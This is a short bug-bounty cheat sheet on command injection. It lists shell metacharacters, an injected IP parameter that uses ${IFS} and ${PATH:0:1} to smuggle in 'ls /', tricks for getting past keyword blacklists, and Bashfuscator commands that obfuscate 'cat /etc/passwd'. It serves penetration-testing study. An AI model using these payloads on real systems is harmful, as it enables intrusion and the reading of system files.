> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/bug-bounty/command-injection.md).

# Command Injection

## Basic Command Injection 

```python
;      # semi colon
\n     # New Line %0a
&      # background
|      # pipe
&&     # AND
||     # OR
``     # Sub Shell (backticks)
$()    # Sub-Shell
```

## Advanced Command Injection

### When Space,and paths(/etc/passwd, /, /home ) are not Allowed

```python
# %0a is new line
# ls will list the file
# ${IFS} when space is blacklisted
# ${PATH:0:1} it will grab / from path variables

ip=127.0.0.150%0als${IFS}${PATH:0:1} 

# Final Command Becomes

127.0.0.1
ls /

```

<figure><img src="/files/tYzinX1ufgD60BDpD7ZN" alt=""><figcaption></figcaption></figure>

## Bypassing Blacklists(whoami,pwd,ls,cat)

```python
who$@ami
w`h`o`a`mi  # should be even
```

## Automated Obfuscation Tool for Command Injection

### BashFuscator

{% embed url="<https://github.com/Bashfuscator/Bashfuscator>" %}

we can use this tool to obfuscate our command

```python
bashfuscator -c "cat /etc/passwd"
```

<figure><img src="/files/qOqETTuRLM9wsLctlKAL" alt=""><figcaption></figcaption></figure>

it will give very huge payload, to make it short we can use below command

```python
bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
```

<figure><img src="/files/mZI0wTzb3q46rGA97Qf9" alt=""><figcaption></figcaption></figure>


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